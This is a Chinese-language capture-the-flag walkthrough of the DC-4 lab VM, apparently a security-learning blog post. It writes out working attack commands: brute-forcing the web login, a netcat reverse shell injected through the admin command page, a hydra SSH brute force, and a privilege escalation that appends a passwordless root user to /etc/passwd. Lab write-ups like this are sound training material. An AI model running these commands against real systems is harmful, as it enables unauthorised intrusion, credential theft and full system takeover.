一、实验环境
虚拟机软件:VirtualBox
攻击机:kali linux(网卡初始为仅主机模式,要有安全意识)
靶机:DC-4(网卡初始为仅主机模式,要有安全意识)
二、开始渗透
1. 搜集信息
输入sudo su
,将kali切换到root权限;
输入ifconfig
查询自身ip,即攻击机ip;
可以看到自身ip为192.168.56.101
,对应的网卡名称为eth0。
本次渗透我们选择输入arp-scan -l
扫描本网段存活主机,即靶机ip地址。
可以看到靶机ip为192.168.56.108
,。
输入nmap -sV -p- 192.168.56.108
,查看靶机端口开放信息。
看到开放了80端口和22端口。
浏览器输入192.168.56.108:80。
命令行输入whatweb -v 192.168.56.108
查询网站指纹信息。
可以看到没什么信息,其中nginx是一个中间件,版本为1.15.10。
命令行输入dirb http://192.168.56.108
,查询网站目录。
可以看到也没什么关键信息,只能从登陆界面的用户名密码下手了。
2. 暴力破解用户名密码
通常情况下,用户名都会有名为admin、administrator等的管理员账户,我们选择kali自带的burpsuite进行爆破。
先在浏览器中设置一下代理信息。
信息需设置成与burpsuite中的信息相同。
输入登录信息,通过抓包,将数据包内容送到Intruder模块。
在Intruder中的payload模块中,将kali中其他爆破软件自带的密码本,我这里选择的是/usr/share/john/password.lst
中的内容导入payload setting中,记得把注释的字段去掉。
开始对密码字段进行爆破,
等待一段时间,爆破成功。
密码为happy,用户名为admin,登陆网页。
3. 寻找可以反弹shell的点
点击Command,发现居然可以运行指令。
再次burp抓包。
送入Repeater模块中,点击Send,发现ls -l
命令中间的空格为+
。
至此,可以通过修改radio字段的内容,反弹shell。
在命令行中输入nc -lvvp 4444
,监听4444端口。
再将ls+-l
修改为nc+-e+/bin/bash+192.168.56.101+4444
,点击Send,反弹成功。
输入python -c "import pty;pty.spawn('/bin/bash')"
,转为交互式。
在/home/jim/backups
目录下发现了一个old-passwords.bak
文件。
怀疑有jim用户的密码,将其中的内容复制到本地的passwd.txt文件中,用kali自带的hydra进行爆破。
输入hydra -l jim -P passwd.txt ssh://192.168.56.108:22
,等待一会儿,得到结果。
得到用户名jim的密码为jibril04。
输入ssh jim@192.168.56.108 -p 22
和密码登陆SSH。
根据提示中的You have mail,进入/var/mail
目录中,发现一封名为jim的邮件。
发现了用户名Charles的密码^xHhA&hvim0y
,输入su charles
和密码切换到charles用户。
4. 提权
最后一般都是提权了,输入sudo -l
查看可以以root权限执行的命令。
这里可以用teehee命令提权。
输入echo "neos::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
,su neos
成功提权到root。
在/root
中发现flag.txt。
至此,渗透结束。
三、总结
每一次新的渗透都是一堆没学过的新的知识,希望大家能知其然,亦知其所以然,渗透结束了,可是其中大量的为什么需要你私下去思考并解决,学的只是思路,但是为什么这个思路,为什么用这个工具,还需要多多琢磨。